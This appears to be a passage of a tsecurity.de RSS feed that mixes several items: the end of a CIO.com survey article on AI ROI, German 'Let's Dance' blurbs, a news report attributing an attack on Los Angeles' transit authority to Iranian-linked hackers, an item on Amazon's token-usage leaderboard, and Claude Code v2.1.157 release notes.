<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/image_f2cf29.jpeg?quality=50&amp;strip=all&amp;w=1024" alt="State of the CIO 2026: AI Challenges (slide 18)" class="wp-image-4178010" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">CIO.com / Foundry</p></div>



<h2 class="wp-block-heading">Creating the infrastructure to achieve AI ROI</h2>



<p>The dynamic is starting to shift as organizations prioritize targeted use cases and lay the groundwork for scalability and ROI. Cross-functional steering committees and specialized task forces are emerging as critical building blocks to identify, prioritize, and align use cases to enterprise goals. Eighty-three percent of IT leaders surveyed confirmed their organizations either have such structures in place or are planning to implement them within the year. IT is the dominant player on these committees with other functional areas well represented, including corporate leadership and security and risk teams, and to a lesser degree, business-oriented domains such as finance, legal, and HR.</p>



<p>Formal processes for approving AI projects are far less evolved. Slightly more than half (53%) of 2026 State of the CIO respondents have established some type of official approval process, with 28% planning to activate something within the next 12 months.</p>



<p>KPIs, another <a href="https://www.cio.com/article/4106788/ai-roi-how-to-measure-the-true-value-of-ai-2.html">critical milestone for AI success</a>, are also not well defined in most enterprises. Less than half (47%) of respondents have established formal metrics, with another 34% planning to do so within the year. For those measuring AI success, operational efficiency and process improvement rank as the top metric, cited by 40% of respondents, followed by employee productivity (34%) and cost reduction (30%). AI’s impact on revenue or growth is less of a factor today, cited by only 27% of respondents.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/image_95f6ee.jpeg?quality=50&amp;strip=all&amp;w=1024" alt="State of the CIO 2026: AI Success (slide 26)" class="wp-image-4178008" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">CIO.com / Foundry</p></div>



<p>First Student, a leading provider of school bus transportation services, has stood up a well-defined innovation framework and AI-specific council — two moves CIO <a href="https://firststudentinc.com/resources/leaders/sean-mccormack-chief-information-officer/" rel="nofollow">Sean McCormack</a> credits to the firm’s early success scaling AI initiatives aligned to key business goals. The AI council, with representation across business leaders and the C-suite, meets regularly to review AI use cases and identify those with most potential for payback.</p>



<p>“We have more discipline around business cases than most companies,” says McCormack. “Everything is metrics-driven and dependent on proving value. By the time we put something into production, it’s been through a series of proof of concepts, there’s been a deep dive on financials, and we are able to move quickly and demonstrate value.”</p>



<p>Three years into its AI journey, TIAA has a rich stable of generative AI and agentic AI use cases spanning fraud detection and prevention along with call center companions and a litany of other tools. The majority (85%) of the financial services firm’s workforce uses TIAA Gate, its internal AI platform. Yet even with all the right structures in place — investment in training, robust governance frameworks, steering committees, an AI center of excellence (CoE), and an enterprise mandate for strategic use of AI as part of everyone’s performance goals — ROI remains a challenge.</p>



<p>“What’s on paper sometimes doesn’t turn into real ROI given the reality of operational costs,” notes <a href="https://www.tiaa.org/public/about-tiaa/leadership-team/sastry-durvasula" rel="nofollow">Sastry Durvasula</a>, TIAA’s chief operating, information &amp; digital officer. “Something may prove to be a successful pilot, but you need to understand the full cost of operations — for example, the efficiencies of running tokens or how you’re handling traffic or RAG [<a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">retrieval augmented generation</a>].”</p>



<p>Thomas Prommer, a longtime CTO, CIO, and CAIO, makes three recommendations to facilitate the quest for AI ROI. First, establish joint accountability at the project level with a named technical and business sponsor for each project, both of whom co-own outcomes. His firm had success replacing a centralized AI CoE with embedded AI squads that live inside individual business units. The CoE model created a clearinghouse that nobody owned, whereas embedded teams force accountability at the point of business impact, he explains.</p>



<p>Prommer’s third recommendation is to implement stage-gated funding tied to outcome milestones, not deliverable milestones. “We don’t fund ‘build a model,’ we fund ‘reduce returns by 8% on this category’ with checkpoints at 90, 180, and 270 days,” he explains. “Projects that miss two checkpoints gets killed. We kill roughly a third of what we start and that’s healthy.”</p>



<p>Developing a keen understanding of business workflows and engineering the experience layer for the people tasked with executing AI-enriched workflows is essential to creating value and effective adoption at scale.</p>



<p>“If someone on the data science team builds a great model that provides insights on improving manufacturing efficiency, but it’s so far removed from what the shop floor supervisor does in day-to-day life, it will never be used at scale,” says <a href="https://www.linkedin.com/in/sriram-krishnasamy-ab1679117/" rel="nofollow">Sriram Krishnasamy</a>, the former chief digital information and transformation officer at FedEx.</p>



<h2 class="wp-block-heading">The CIO as chief AI orchestrator</h2>



<p>Who better than the CIO to usher in the organizational structures and business practices that help identify the right AI use cases and establish metrics for success. IT leaders’ in-depth knowledge of AI and the broader technology stack is a plus. But the reason top executives are leaning on CIOs as <a href="https://www.cio.com/article/4120232/the-cio-steps-up-as-chief-intelligence-orchestrator.html">critical orchestrators of AI</a> is their proven ability to work effectively across business functions and serve as <a href="https://www.cio.com/article/4016354/cios-tackle-the-ai-change-management-challenge.html">change management champions</a>.</p>



<p>Almost half (46%) of this year’s respondents view the CIO as a business leader who proactively identifies business needs and opportunities and follows up with technology and provider recommendations that align with stated business goals. The vast majority (83%) view CIOs as a changemaker.</p>



<p>Much like last year, the <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">top CEO priority for IT leaders</a> is to research and implement AI products and projects, cited by 27% of respondents. IT leaders are meeting the mandate by working far more closely with lines of business on AI applications, according to 79% of respondents.</p>



<p>“AI requires so much executive engagement — in our case, it made the most sense for me to lead the charge,” says First Student’s McCormack, also a member of <a href="https://www.cio.com/article/236876/cio-hall-of-fame-honorees.html">CIO.com’s Hall of Fame</a>.</p>



<p>This year’s IT leader respondents expect to accelerate and expand involvement with AI/machine learning (76%) and agentic AI (70%), as well as cybersecurity (63%). Responding organizations anticipate a boost in investments across the full complement of AI technologies, including generative AI (67%), machine learning (66%), and agentic AI (65%) over the coming year.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/image_063e24.jpeg?quality=50&amp;strip=all&amp;w=1024" alt="State of the CIO 2026: IT Involvement (slide 32)" class="wp-image-4178011" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">CIO.com / Foundry</p></div>



<p>First Student is currently running AI in production at scale across multiple use cases, including for predictive maintenance, fleet and driver safety, contract development, automated hiring, agentic software development, and agentic voice bots that assist internal users with help desk and HR issues. As the company builds out its portfolio of AI-enabled use cases, McCormack says it’s critical to ground everything in a flexible architecture.</p>



<p>“It’s such a changing landscape; it’s difficult to pick a solution,” he explains. “We’re building our own architecture so we can quickly switch models” and not be dependent on one system, he says.</p>



<h2 class="wp-block-heading">The rest of the IT agenda</h2>



<p>While AI commands an all-hands-on-deck approach, it’s not the only CEO directive for CIOs this year. Cyber and data security remain top-of-mind in the C-suite, with a quarter of State of the CIO respondents noting it as a top CEO priority for 2026, up from 20% last year. CEOs are also looking for CIOs to strengthen IT and business collaboration, cited by 23% of 2026 respondents.</p>



<p>To achieve those directives, CIOs are expanding technology initiatives in areas such as business process and IT automation (56%), security and risk management (55%), and data and business analytics (54%).</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/image_e76ee4.jpeg?quality=50&amp;strip=all&amp;w=1024" alt="State of the CIO 2026: IT Investment (slide 38)" class="wp-image-4178009" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">CIO.com / Foundry</p></div>



<p>Building a solid data and governance foundation is the most important agenda item at RPI, primarily in preparation for more extensive AI deployment and adoption. Ballinger, 70 days into her tenure as RPI CIO, concedes the educational institution is not aiming to be on the first adopter wave of AI innovation. Rather, its strategy is to adapt, grow, and transform organizational structures and its data ecosystem in pursuit of maximizing AI’s promised advantages.</p>



<p>Ballinger is currently shopping an RFP that encompasses a data fabric layer, secure containerization, and a data factory approach. “We are designing the ecosystem with strategy and KPIs in mind,” she says. “The entire process is predicated on deciding what business cases are valuable before they hit the data ecosystem. We’re not looking to put something into the ecosystem and hope it gets a return.”</p>



<p>With the pace of change growing more intense and the stakes surrounding AI innovation soaring higher, the CIO role continues to be more business-oriented and less straight technology focused. Eighty-four percent of this year’s IT leader respondent pegged the CIO position as more digital and innovation focused while 82% confirmed that CIOs are more likely to actively lead digital transformation efforts compared to their business counterparts.</p>



<p>With the average CIO now juggling 1.6 positions, including chief security officer, CISO, CAIO, and other business-related posts, the job continues to become more expansive, highly strategic, and more fulfilling, especially for leaders willing to close the door on the traditional “keeping the lights on” CIO model and embrace new challenges.</p>



<p>“The CIO of 2026 is a hybrid — half operating architect, half risk officer,” Prommer says. “The technology choices are getting easier, but the business and ethical choices are getting harder. CIOs who only know the tech stack will be reporting to CIOs who know both.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[&quot;Let’s Dance&quot; 2026: Die Statistik hat recht behalten - Mit insgesamt 456 Punkten holt dieser Star das Finale und ist Dancing Star!]]></title>
<description><![CDATA[Der endgültige Punkte-Check zu Let’s Dance 2026! Die nackten Zahlen lügen nicht: Mit insgesamt 456 Punkten holt dieser Star nach einem unfassbaren Gleichstand das Finale. Hier ist die Abrechnung.
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV...]]></description>
<link>https://tsecurity.de/de/3558619/it-nachrichten/quotlets-dancequot-2026-die-statistik-hat-recht-behalten-mit-insgesamt-456-punkten-holt-dieser-star-das-finale-und-ist-dancing-star/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3558619/it-nachrichten/quotlets-dancequot-2026-die-statistik-hat-recht-behalten-mit-insgesamt-456-punkten-holt-dieser-star-das-finale-und-ist-dancing-star/</guid>
<pubDate>Sat, 30 May 2026 09:32:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Der endgültige Punkte-Check zu Let’s Dance 2026! Die nackten Zahlen lügen nicht: Mit insgesamt 456 Punkten holt dieser Star nach einem unfassbaren Gleichstand das Finale. Hier ist die Abrechnung.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/waipu-index.html">Waipu.tv</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-neu-shows-serien-filme/index.html">Neu auf RTL+: Diese Show-, Film- und Serienneuheiten starten im Mai 2026</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[&quot;Let’s Dance&quot;-Finale 2026: Der Punkte-Check - Die finale Jury-Wertung vom 29.05. und wie es nächste Woche weitergeht]]></title>
<description><![CDATA["Let’s Dance" 2026: Der große Punkte-Check vom Finale am 29.05. zeigt gnadenlose Jury-Urteile. Und aufgepasst: Das passiert nächste Woche, denn die Show ist noch nicht vorbei!
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webserie,		...]]></description>
<link>https://tsecurity.de/de/3558023/it-nachrichten/quotlets-dancequot-finale-2026-der-punkte-check-die-finale-jury-wertung-vom-2905-und-wie-es-naechste-woche-weitergeht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3558023/it-nachrichten/quotlets-dancequot-finale-2026-der-punkte-check-die-finale-jury-wertung-vom-2905-und-wie-es-naechste-woche-weitergeht/</guid>
<pubDate>Sat, 30 May 2026 01:47:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Let’s Dance" 2026: Der große Punkte-Check vom Finale am 29.05. zeigt gnadenlose Jury-Urteile. Und aufgepasst: Das passiert nächste Woche, denn die Show ist noch nicht vorbei!
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/waipu-index.html">Waipu.tv</a>,																	<a href="https://www.netzwelt.de/rtl-plus/index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-neu-shows-serien-filme/index.html">Neu auf RTL+: Diese Show-, Film- und Serienneuheiten starten im Mai 2026</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[&quot;Let’s Dance&quot; 2026: Das ist der &quot;Dancing Star&quot; - Sensationeller Finalsieg steht fest!]]></title>
<description><![CDATA[Die 19. Staffel von "Let’s Dance" ging mit einem der spektakulärsten Finale der Show-Geschichte zu Ende. Das Niveau war mörderisch, die Jury-Wertungen lagen extrem eng beieinander und am Ende entschieden die Zuschauer über Sieg und Niederlage.
																					Dieser Artikel wurde einsortiert...]]></description>
<link>https://tsecurity.de/de/3558022/it-nachrichten/quotlets-dancequot-2026-das-ist-der-quotdancing-starquot-sensationeller-finalsieg-steht-fest/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3558022/it-nachrichten/quotlets-dancequot-2026-das-ist-der-quotdancing-starquot-sensationeller-finalsieg-steht-fest/</guid>
<pubDate>Sat, 30 May 2026 01:47:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die 19. Staffel von "Let’s Dance" ging mit einem der spektakulärsten Finale der Show-Geschichte zu Ende. Das Niveau war mörderisch, die Jury-Wertungen lagen extrem eng beieinander und am Ende entschieden die Zuschauer über Sieg und Niederlage.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-neu-shows-serien-filme/index.html">Neu auf RTL+: Diese Show-, Film- und Serienneuheiten starten im Mai 2026</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Iranian Hackers Linked to Cyberattack on Los Angeles Transit Network]]></title>
<description><![CDATA[A cyberattack that disrupted parts of Los Angeles’ public transit network earlier this year has now been linked to a hacking group allegedly connected to Iran’s intelligence apparatus, according to new findings from an Israeli cybersecurity company. 

The LA public transport cyberattack, which ...]]></description>
<link>https://tsecurity.de/de/3557719/it-security-nachrichten/iranian-hackers-linked-to-cyberattack-on-los-angeles-transit-network/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557719/it-security-nachrichten/iranian-hackers-linked-to-cyberattack-on-los-angeles-transit-network/</guid>
<pubDate>Sat, 30 May 2026 01:13:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1101" height="614" src="https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="LA public transport cyberattack" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack.webp 1101w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack-1024x571.webp 1024w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack-768x428.webp 768w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack-750x418.webp 750w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack.webp 1101w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack-1024x571.webp 1024w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack-768x428.webp 768w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/LA-public-transport-cyberattack-750x418.webp 750w" sizes="(max-width: 1101px) 100vw, 1101px" title="Iranian Hackers Linked to Cyberattack on Los Angeles Transit Network 3"></p><span data-contrast="auto">A cyberattack that disrupted parts of Los Angeles’ public transit network earlier this year has now been linked to a hacking group allegedly connected to Iran’s intelligence apparatus, according to new findings from an Israeli cybersecurity company.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The LA public transport cyberattack, which targeted the Los Angeles County Metropolitan Transportation Authority (LACMTA) in March, was reportedly carried out by a group known as “Ababil of Minab,” researchers at Tel Aviv-based Gambit Security said in a report released Tuesday.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">According to Gambit, the Iranian hackers behind the incident not only stole sensitive <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28505">data</a> but also attempted to damage systems and interfere with recovery efforts. The attack forced LACMTA to temporarily shut down portions of its network and disrupted several digital services used by passengers across Los Angeles.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Gambit Finds Evidence Linking Iranian Hackers to LACMTA Attack</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The <a href="https://www.jpost.com/middle-east/iran-news/article-897739" target="_blank" rel="nofollow noopener">cybersecurity firm</a> stated that at least 700 gigabytes of information were taken during the breach. The stolen material allegedly included emails, backups, databases, and other internal files belonging to LACMTA. Gambit said the data was discovered after it was accidentally exposed online.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Researchers added that forensic evidence connected the exposed server to a previously identified <a href="https://thecyberexpress.com/ip-camera-hacking/" target="_blank" rel="noopener">hacking campaign</a> that Israeli officials and cybersecurity experts have attributed to Tehran.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The Los Angeles transit authority did not respond to questions regarding Gambit’s findings. However, in a statement released last month, LACMTA officials said they were working with law enforcement agencies and <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-cybersecurity/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="28503">cybersecurity</a> specialists to restore affected systems.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">“Attribution is part of the investigation, and we will not speculate,” the statement said.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">LA Public Transport Cyberattack Disrupted Passenger Services</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The LA public transport <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="28506">cyberattack</a> disrupted several passenger-facing digital systems in Los Angeles, including services displaying train and bus arrival times as well as functions allowing riders to add funds to digital transit cards. Despite the interruptions, LACMTA stated that transportation operations themselves were not affected.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Officials also maintained there was “no indication” that customer or employee data had been compromised.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Still, Gambit’s report suggested the Iranian hackers carried out a far more destructive operation than initially understood. The firm said the attackers deleted virtual machines, databases, and storage volumes while also damaging backup infrastructure.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">According to the report, the goal appeared to extend beyond simple data theft.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">“In some cases, the attackers also acted to destroy systems and impair the recovery capability of the affected organizations,” Gambit noted.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The attack on LACMTA has drawn increased attention because Los Angeles is scheduled to serve as one of the host cities for the FIFA 2026 World Cup, which begins on June 11, 2026. <a href="https://thecyberexpress.com/cybersecurity-experts-arrested/" target="_blank" rel="noopener">Cybersecurity experts</a> have warned that transportation infrastructure could become an increasingly attractive target ahead of major international events.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Ababil of Minab Claimed Responsibility for the Los Angeles Cyberattack</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Suspicion surrounding Iranian hackers emerged shortly after an obscure group calling itself “Ababil of Minab” publicly claimed responsibility for the attack. Approximately two weeks after LACMTA detected the intrusion around March 16, the group appeared online and said it had wiped large amounts of data during the operation.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The hackers also released a video that allegedly showed them navigating through the Los Angeles transit agency’s network during the cyberattack.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">The name “Ababil of Minab” references a deadly bombing at a girls’ school in the Iranian city of Minab, where officials said more than 175 children and teachers were killed. Researchers noted that the group’s rhetoric and tactics closely resemble those used by so-called vigilante <a href="https://thecyberexpress.com/eu-sanctions-chinese-iranian-hacking-groups/" target="_blank" rel="noopener">hacking groups</a> that American and Israeli analysts believe operate as fronts for Iranian intelligence services.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Despite those allegations, the threat actor group has claimed to be an independent activist organization.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">Eyal Sela, Gambit’s director of <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/different-types-of-threat-intelligence/" target="_blank" rel="noopener" title="threat intelligence" data-wpil-keyword-link="linked" data-wpil-monitor-id="28504">threat intelligence</a>, said experts had already suspected a connection between Ababil and the Iranian government before the latest forensic findings emerged.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">“A connection between Ababil and the Iranian state has been a working assumption,” Sela said.</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>

<span data-contrast="auto">“What our research adds is the forensic evidence to support it.”</span><span data-ccp-props='{"335551550":0,"335551620":0}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon deletes devs’ tokenmaxxing leaderboard to minimize costs]]></title>
<description><![CDATA[Enterprises everywhere have been urging employees to adopt AI, with internal leaderboards springing up to show who has used the most AI tokens. Such games can backfire, though, as Amazon recently discovered.



Kirorank, an unofficial leaderboard tracking usage of Amazon’s Kiro AI tool, ranked wo...]]></description>
<link>https://tsecurity.de/de/3557505/ai-nachrichten/amazon-deletes-devs-tokenmaxxing-leaderboard-to-minimize-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557505/ai-nachrichten/amazon-deletes-devs-tokenmaxxing-leaderboard-to-minimize-costs/</guid>
<pubDate>Sat, 30 May 2026 01:04:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Enterprises everywhere have been urging employees to adopt AI, with internal leaderboards springing up to show who has used the most AI tokens. Such games can backfire, though, as Amazon recently discovered.</p>



<p>Kirorank, an unofficial leaderboard tracking usage of Amazon’s Kiro AI tool, ranked workers according to their AI activity, but senior managers at Amazon found that employees were creating AI agents to carry out unnecessary tasks in an attempt to boost their scores, a practise known as tokenmaxxing, according to <a href="https://www.ft.com/content/b1a62a7f-6df5-4c90-94ce-64ce9c9961b6?syn-25a6b1a6=1" target="_blank" rel="noreferrer noopener">a report in the Financial Times</a>. The tracker has now been taken offline.</p>



<p>Kirorank</p>



<p>The FT quoted an Amazon senior VP as saying that the leaderboard had been built “with good intentions” but the compute costs it generated were too high.</p>



<p>Amazon is not the only company to find that attempts to boost AI use can have negative implications. In April, <a href="https://www.infoworld.com/article/4170173/tokenmaxxing-is-super-dumb.html">Meta killed an unofficial ranking system called Claudeoconomics</a>, which had also led to a frenzy of tokenmaxxing.</p>



<p>Token usage is easy to measure; the business benefits of that usage less so. AI vendors are looking for better ways to measure the value of their services, so far with little success. <a href="https://www.cio.com/article/4138622/awu-by-salesforce-a-shiny-new-metric-that-tells-cios-little-of-value.html">Salesforce’s attempt to develop a new metric</a> was not well received.</p>



<p>Enterprises now find themselves facing a delicate balancing act, as they look to encourage AI use without racking up considerable computing costs. In March, <a href="https://www.computerworld.com/article/4148219/pwc-us-tells-staff-to-opt-out-of-company-not-ai.html" target="_blank">PwC’s US CEO Paul Griggs</a> told executives that those who did not use AI would not be at the company for very long. Use AI — but not too much, appears to be the message.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.157]]></title>
<description><![CDATA[What's changed

Plugins in .claude/skills directories are now automatically loaded, no marketplace required
Added claude plugin init  to scaffold a new plugin in .claude/skills
Added autocomplete for /plugin arguments: subcommands, installed plugin names, and plugins from known marketplaces
claud...]]></description>
<link>https://tsecurity.de/de/3557385/downloads/v21157/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557385/downloads/v21157/</guid>
<pubDate>Fri, 29 May 2026 22:31:24 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Plugins in <code>.claude/skills</code> directories are now automatically loaded, no marketplace required</li>
<li>Added <code>claude plugin init &lt;name&gt;</code> to scaffold a new plugin in <code>.claude/skills</code></li>
<li>Added autocomplete for <code>/plugin</code> arguments: subcommands, installed plugin names, and plugins from known marketplaces</li>
<li><code>claude agents</code>: the <code>agent</code> field in <code>settings.json</code> is now honored for dispatched sessions, with <code>--agent &lt;name&gt;</code> to override it</li>
<li><code>EnterWorktree</code> can now switch between Claude-managed worktrees mid-session</li>
<li><code>tool_decision</code> telemetry events now include <code>tool_parameters</code> (bash commands, MCP/skill names) when <code>OTEL_LOG_TOOL_DETAILS=1</code></li>
<li>Worktrees managed by Claude are now left unlocked when the agent finishes, so <code>git worktree remove</code>/<code>prune</code> can clean them up</li>
<li>Fixed unprocessable images (zero-byte, corrupt) attached via paste, MCP, or dialog crashing the request instead of becoming a text placeholder</li>
<li>Fixed sandbox network permission prompts appearing in auto and bypass-permissions mode when using the desktop app, IDE extensions, or SDK</li>
<li>Fixed <code>claude agents</code> completed sessions not retiring when an idle subagent was still parked or had leaked a backgrounded shell</li>
<li>Fixed <code>claude agents</code> pressing Esc not cancelling a slow "opening…", leaving the list unresponsive</li>
<li>Fixed background agent worktrees under <code>.claude/worktrees/</code> being orphaned after the 30-day job retention sweep</li>
<li>Fixed background sessions re-attached after a sleep/wake not telling the model the correct date</li>
<li>Fixed copy-on-select in <code>claude agents</code> not reaching the system clipboard inside tmux with <code>set-clipboard on</code> (regression in 2.1.153)</li>
<li>Fixed <code>--resume</code> not reporting background subagents that were running when the previous Claude Code process exited</li>
<li>Fixed the <code>--resume</code> session picker leaving its contents on the terminal after exiting in fullscreen mode</li>
<li>Fixed <code>--worktree</code> and <code>--worktree --tmux</code> returning to the canonical repo root instead of the current linked worktree</li>
<li>Fixed the <code>/model</code> picker showing an incorrect "Newer version available" hint when the selected model is already the newest in its family; the pinned-model row now shows the model's description instead of its raw ID</li>
<li>Fixed literal markdown markers (backticks, asterisks) appearing in the in-progress message text in fullscreen mode</li>
<li>Fixed the terminal freezing after approving the managed-settings security dialog at startup</li>
<li>Fixed a rare duplicate line appearing in scrollback after the terminal UI redraws</li>
<li>Fixed right-click paste duplicating the clipboard in the VS Code, Cursor, and Windsurf integrated terminals</li>
<li>WSL: fixed image paste (<code>alt+v</code> keybinding), screenshot paste on Windows 11, and added support for dragging images from Windows Explorer</li>
<li>Improved performance of long and resumed conversations by eliminating redundant message-rendering recomputations</li>
<li><code>/terminal-setup</code> now disables GPU acceleration in VS Code/Cursor/Windsurf integrated terminals to prevent garbled-text rendering</li>
<li>The Feature of the Week credit-claim status now appears as a notification in the status area instead of a line above the prompt</li>
<li><code>claude agents</code>: slash-command autocomplete in the dispatch input now matches substrings</li>
<li>Removed the "bash commands will be sandboxed" startup banner — sandbox status still shows in <code>/status</code> and when a command is blocked</li>
<li>Removed the "/ide for …" startup hint toast</li>
<li>[IDE] Fixed clicking Stop while a background subagent is running not actually stopping it</li>
<li>[VSCode] Fixed the fast mode indicator not appearing on Opus 4.8</li>
<li>Pressing backspace right after a workflow trigger keyword now dismisses the workflow request (same as alt+w) instead of deleting a character</li>
<li>Added a "Workflow keyword trigger" setting in /config to stop the word "workflow" in a prompt from triggering a dynamic workflow</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Let&#039;s Dance 2026: Das große Finale in unserem Live-Ticker - Wer wird Dancing Star?]]></title>
